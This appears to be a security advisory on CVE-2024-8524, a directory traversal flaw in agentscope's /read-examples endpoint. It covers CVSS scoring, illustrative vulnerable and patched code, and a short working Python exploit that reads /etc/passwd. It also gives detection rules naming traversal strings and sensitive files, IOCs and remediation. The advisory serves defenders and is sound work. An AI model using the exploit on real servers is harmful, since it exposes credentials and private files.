CVE-2024-8524

Executive Summary

CVE-2024-8524 is a directory traversal vulnerability in the modelscope/agentscope version 0.0.4. The flaw resides in the /read-examples endpoint, which fails to sanitize user-supplied file paths. An unauthenticated attacker can send a crafted POST request with path traversal sequences (e.g., ../../../etc/passwd) to read arbitrary local JSON files from the server filesystem. The CVSS score is 7.5 (High), with a vector emphasizing network exploitability, low attack complexity, no privileges required, and no user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivial to exploit and has a public proof-of-concept.

Supply Chain & Package Security

This vulnerability affects the PyPI package agentscope (version 0.0.4). As a Python package, it is distributed via PyPI and can be installed with pip install agentscope==0.0.4. The lack of a patch or advisory from the vendor means that all deployments using this version are at risk. Organizations should audit their Python environments for this package and consider removing or isolating it until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and affected resource are the same.
• Confidentiality (C): High (H) – Complete disclosure of file contents.
• Integrity (I): None (N) – No modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to exposure of sensitive configuration files, credentials, or application data.

Deep Dive & Mechanics

The /read-examples endpoint in AgentScope is designed to serve example JSON files to users. The vulnerable code likely constructs a file path by concatenating a base directory with user input without proper validation. For example:

@app.post("/read-examples")
def read_examples(file_name: str):
    base_path = "/app/examples/"
    full_path = os.path.join(base_path, file_name)
    with open(full_path, 'r') as f:
        return json.load(f)

An attacker can supply file_name as ../../../etc/passwd to escape the intended directory and read arbitrary files. The server returns the file content as JSON, which may fail if the file is not valid JSON, but the file content is still read into memory and potentially leaked in error messages.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.0.4):

@app.post("/read-examples")
def read_examples(file_name: str):
    base_path = "/app/examples/"
    full_path = os.path.join(base_path, file_name)
    with open(full_path, 'r') as f:
        return json.load(f)

Patched Code (hypothetical fix):

import os

ALLOWED_DIR = os.path.abspath("/app/examples/")

@app.post("/read-examples")
def read_examples(file_name: str):
    # Sanitize: remove path traversal sequences
    safe_name = os.path.basename(file_name)
    full_path = os.path.join(ALLOWED_DIR, safe_name)
    # Resolve and verify the path is within the allowed directory
    real_path = os.path.realpath(full_path)
    if not real_path.startswith(ALLOWED_DIR):
        return {"error": "Invalid file"}, 403
    with open(real_path, 'r') as f:
        return json.load(f)

The patched version uses os.path.basename to strip directory components and then verifies the resolved path is within the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running AgentScope 0.0.4 with /read-examples endpoint exposed.
• Python 3.x with requests library.

Exploit Script:

import requests
import sys

target = sys.argv[1]
file_to_read = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd"

# Craft payload with path traversal
payload = {"file_name": f"../../../{file_to_read.lstrip('/')}"}
url = f"http://{target}/read-examples"

try:
    r = requests.post(url, json=payload, timeout=10)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python exploit.py 192.168.1.100 /etc/passwd

Expected Output:

Status: 200
Response: {"root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\n..."}

Blue Team

Detection Steps:

1. Monitor POST requests to /read-examples with suspicious file_name parameters containing ../ or absolute paths.
2. Check server logs for file read errors or attempts to access files outside the examples directory.
3. Use file integrity monitoring (FIM) to detect unauthorized reads of sensitive files.

Honeypot Setup:

• Deploy a fake config.json in the examples directory with fake credentials to lure attackers.
• Log all access to /read-examples and alert on any path traversal patterns.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /read-examples with file_name containing ../ or / characters.
  • Unusual outbound data transfers from the server (exfiltrated file contents).
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, .env, config.json, or other sensitive files.
  • Server logs showing FileNotFoundError for paths outside the examples directory.
• Process:
  • Python process reading files outside its intended working directory.

Detection Engineering

YARA Rule

rule CVE_2024_8524_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts against AgentScope /read-examples endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8524"
    strings:
        $traversal1 = "../" ascii wide
        $traversal2 = "..\\" ascii wide
        $traversal3 = "/etc/" ascii wide
        $traversal4 = "/proc/" ascii wide
        $endpoint = "/read-examples" ascii wide
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-8524 Directory Traversal in AgentScope
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /read-examples with path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/read-examples'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/proc/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths within the examples directory (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8524 AgentScope Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/read-examples"; http_uri; content:"../"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the service: If possible, take the AgentScope instance offline or restrict network access to trusted IPs only.
2. Apply input validation: Implement a reverse proxy (e.g., Nginx) to block requests containing ../ or / in the file_name parameter.
3. Monitor logs: Enable detailed logging for the /read-examples endpoint and alert on suspicious patterns.

Long-term Fix:

• The vendor must release a patched version that sanitizes file paths using os.path.basename and verifies the resolved path is within an allowed directory.
• Until a patch is available, consider replacing the vulnerable endpoint with a static file server that only serves pre-defined files.

Workaround:

• Modify the application code to use a whitelist of allowed filenames (e.g., ["example1.json", "example2.json"]) and reject any input not in the list.

Valters IT
Securing Digital Frontiers